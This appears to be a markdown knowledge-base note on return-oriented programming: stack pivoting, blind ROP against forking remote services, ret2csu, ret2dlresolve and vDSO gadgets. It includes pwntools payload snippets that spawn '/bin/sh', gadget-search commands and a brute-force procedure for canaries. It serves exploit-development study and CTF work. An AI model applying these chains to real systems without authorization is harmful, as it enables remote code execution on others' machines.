Skip to content

Latest commit

 

History

History
135 lines (110 loc) · 7.15 KB

File metadata and controls

135 lines (110 loc) · 7.15 KB
title ROP Techniques
type technique
tags
exploit-dev
binary
rop
stack-pivot
brop
ret2csu
ret2dlresolve
phase exploitation
date_created 2026-07-14
date_updated 2026-07-14
sources
hacktricks-binexp

ROP Techniques

Consolidated return-oriented programming toolkit: pivoting into a staged chain, attacking a blind remote service, and controlling arguments or resolving symbols when gadgets/leaks are scarce. Base technique and protections: [[binary-exploitation]].

Stack Pivoting (leave;ret / pop rsp / xchg rsp)

Use when the overflow is too short for a full chain, or you can only corrupt saved RBP: move RSP into a large writable region (.bss, heap, RW map) where a full ROP chain was staged.

EBP2Ret (control RBP, not RIP directly): a leave; ret (= mov rsp,rbp ; pop rbp ; ret) sets RSP from your fake RBP, so the next ret executes from attacker memory. Stage a chain, put its address minus 8 in the saved RBP slot, return into leave;ret.

LEAVE_RET = 0x40117c
payload  = flat(POP_RDI, 0xdead, POP_RSI_R15, 0xc0de, 0, elf.sym["winner"])
payload  = payload.ljust(96, b"A")         # reach saved RBP
payload += flat(buffer, LEAVE_RET)         # fake RBP = leaked buffer, then pivot

Off-by-one variant: if you only control the low byte of saved RBP, pair it with a RET-sled so the pivoted RSP lands inside the sled and slides into the chain.

Other RSP controls, find with a gadget finder:

ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Classic staging: small overflow -> read/recv a big chain into .bss -> pivot -> chain (mprotect + shellcode, or leak + ret2libc). amd64: keep 16-byte alignment before call sites or movaps in system crashes; add a bare ret gadget. On ARM64 the epilogue restores x30 from the stack not SP, so pivoting means controlling SP then abusing ldp x29,x30,[sp].

BROP - Blind Return-Oriented Programming

Attack a remote service with NO binary and NO leak, given only (1) a stack overflow you can trigger and (2) a server that forks/restarts after a crash (same canary + same addresses per fork). Bittau et al. Steps:

  1. Find the overflow offset: send N+1 bytes until it crashes.
  2. Brute-force the canary byte by byte (fork keeps it constant): correct byte = no crash.
  3. Brute-force saved RBP then RIP the same way to leak stack values.
  4. Find a STOP gadget (something that keeps the connection alive so you can tell a chain ran).
  5. Find the BROP/ret2csu gadget by its signature: it pops 6 registers. Landing mid-__libc_csu_init yields pop rsi; pop r15; ret (BROP+0x7) and pop rdi; ret (BROP+0x9), controlling 2 args. Probe: A*off + canary + rbp + ADDR + 0xdead*6 + STOP; if STOP runs, ADDR popped 6.
  6. Find the PLT: entries are 16 bytes apart and entry+6 also does not crash; scan from 0x400000.
  7. Find strcmp (sets rdx=len, needed >0 for write) by its read/no-read crash matrix.
  8. Find write/puts/dprintf by behaviour, dump the binary over the socket, then build a normal exploit. Automated: Bropper (github.com/Hakumarachi/Bropper).

ret2csu (universal gadget for arg control)

When you lack a clean pop rdx/pop rsi gadget, __libc_csu_init (non-PIE, pre-2.34) gives two chained gadgets that set rdx/rsi/rdi and make an indirect call. Gadget 1 pops the setup registers; gadget 2 moves them into the arg registers and calls [r12+rbx*8].

# gadget 1
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
# gadget 2
mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]

To use the call: set r15=arg3(rdx), r14=arg2(rsi), r13=arg1(edi), and put a pointer-to-function at [r12+rbx*8] (rbx=0, r12=&ptr). To bypass the call and just reach the trailing ret (reuse the register setup only), satisfy rbp==rbx+1 so the jnz is not taken, and mind the omitted pops.

POP_CHAIN = 0x401224   # pop r12..r15 ; ret
REG_CALL  = 0x401208   # movs + call [r15+rbx*8]
rop  = flat(POP_CHAIN, 0, 0, 0xdeadbeef, RW_LOC, REG_CALL)  # r14->rdx, r15=&func

Feeds directly into BROP (the same 6-pop signature) and into ret2dlresolve for 3-arg calls.

ret2dlresolve (resolve system with no libc leak)

For No/Partial RELRO binaries with no libc leak and no syscall gadget: forge the relocation structures the dynamic linker uses, then jump to the PLT0 stub / _dl_runtime_resolve so ld.so resolves and calls an arbitrary symbol (e.g. system("/bin/sh")). Fake an Elf_Rela + Elf_Sym + the string system\0 in a writable area (staged via an initial read), then call resolve with the reloc index.

pwntools does the layout and reloc-index math:

elf = context.binary = ELF("./vuln", checksec=False)
rop = ROP(elf)
dl  = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
rop.raw(b"A" * 76)
rop.read(0, dl.data_addr)     # stage the fake structs into writable mem
rop.ret2dlresolve(dl)         # call .plt[0] with the calculated reloc_offset
io.sendline(rop.chain())
io.sendline(dl.payload)       # deliver the fake Elf_Rela/Elf_Sym/"/bin/sh"
io.interactive()

Best when ret2syscall/SROP are unavailable and libc is unknown. Full RELRO kills it (symbols pre-resolved, GOT read-only).

ret2vdso (gadgets in the kernel-mapped vDSO)

The vDSO is a small ELF the kernel maps into every process to serve fast syscalls (gettimeofday, clock_gettime, the 32-bit __kernel_vsyscall/__kernel_rt_sigreturn). It is executable and contains real gadgets, so it is useful when the main binary and libc are gadget-poor, and it is the classic source of an int 0x80 / syscall / sigreturn gadget on locked-down 32-bit targets.

Why it matters for ASLR: the vDSO base is delivered in the auxiliary vector as AT_SYSINFO_EHDR, so getauxval(AT_SYSINFO_EHDR) (or reading /proc/<pid>/auxv) recovers the base without a memory leak. On kernels built with CONFIG_COMPAT_VDSO the vDSO is not randomized at all, giving a fixed ROP island.

# locate the mapping in a live/emulated process
cat /proc/<pid>/maps        # look for the [vdso] line
# dump it straight out of process memory
dd if=/proc/<pid>/mem of=vdso bs=1 skip=$((0xf7ffc000)) count=$((0x2000))
# treat it as a normal DSO: resolve exports and hunt gadgets
readelf -Ws vdso
ROPgadget --binary vdso | grep -E 'int 0x80|syscall'
ropper --file vdso --search 'pop edx'

Typical use is chaining a pop edx; pop ecx; ret plus a mov [edx], ecx write gadget from the vDSO to stage "/bin/sh" and arguments, then jumping to the vDSO int 0x80 gadget for execve. On ARM64 the vDSO rarely yields register-control gadgets, but it does provide a path to __kernel_rt_sigreturn, which makes it a launchpad for [[binary-exploitation]] SROP (sigreturn-oriented programming) when no other sigreturn gadget exists.

Cross-refs: [[binary-exploitation]] (SROP, auxv/ELF tricks), fold alongside [[rop-techniques]] BROP/ret2csu when the binary itself is gadget-starved.

Related techniques

  • [[binary-exploitation]] - overflow, protections, ret2libc/SROP/ret2syscall skeletons
  • [[format-string]] - leak primitives that unblock a chain
  • [[arm64-exploitation]] - ROP on AArch64 (x30/PAC differences)